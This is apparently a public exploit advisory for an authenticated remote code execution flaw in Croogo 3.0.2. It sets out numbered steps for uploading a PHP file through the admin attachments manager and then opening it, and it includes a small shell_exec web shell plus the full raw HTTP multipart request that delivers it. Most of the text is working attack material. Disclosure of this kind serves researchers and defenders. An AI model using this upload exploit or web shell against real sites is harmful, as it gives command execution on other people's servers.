# Exploit Title: Croogo 3.0.2 - Remote Code Execution (Authenticated) # Date: 05/12/2021 # Exploit Author: Deha Berkin Bir # Vendor Homepage: https://croogo.org/ # Software Link: https://downloads.croogo.org/v3.0.2.zip # Version: 3.0.2 # Tested on: Windows 10 Home Single Language 20H2 & WampServer 3.2.3 ==> Tutorial <== 1- Login with your privileged account. 2- Go to the 'Attachments' section. Directory is '/admin/file-manager/attachments'. 3- Click the 'New Attachment' button. 4- Choose a malicious php script and upload it. ########### EXAMPLE SOURCE CODE OF MALICIOUS PHP SCRIPT #################### <?php $command = shell_exec('netstat -an'); echo "<pre>$command</pre>"; ?> ############################################################################ 5- Click on the URL of malicious php script you uploaded. 6- The malicious PHP script will be executed. ==> HTTP Request (File Upload) <== POST /admin/file-manager/attachments/add HTTP/1.1 Host: (HOST) User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------7028631106888453201670373694 Content-Length: 976 Origin: http://(HOST) Connection: close Referer: http://(HOST)/admin/file-manager/attachments/add Cookie: csrfToken=bf693e75da3b8cfedb1e097485ecb0fa89d92fcc3d67afd0601bad6c304a2793582ecb; CAKEPHP=do6gfdgwsl424dabvg1mqp9; GeniXCMS-pJSRyfdghoBRVTDlKhjklmkfhtkbup1r; PHPSESSID=gd59dfghhhg2n10amijq89hih Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 -----------------------------7028631106888453201670373694 Content-Disposition: form-data; name="_method" POST -----------------------------7028631106888453201670373694 Content-Disposition: form-data; name="_csrfToken" bf693ebed78cee03265197aed57e994e70d7qwdfq231341234dsfasdf2397485ecb0fa89d92fcc3d67afd0601bad6c304a2793582ecb -----------------------------7028631106888453201670373694 Content-Disposition: form-data; name="file"; filename="malicious.php" Content-Type: application/octet-stream <?php $command = shell_exec('netstat -an'); echo "<pre>$command</pre>"; ?> -----------------------------7028631106888453201670373694 Content-Disposition: form-data; name="_Token[fields]" 16ade00fae1eb7183f11fe75ed658ae4ec2a5921%3A -----------------------------7028631106888453201670373694 Content-Disposition: form-data; name="_Token[unlocked]" -----------------------------7028631106888453201670373694--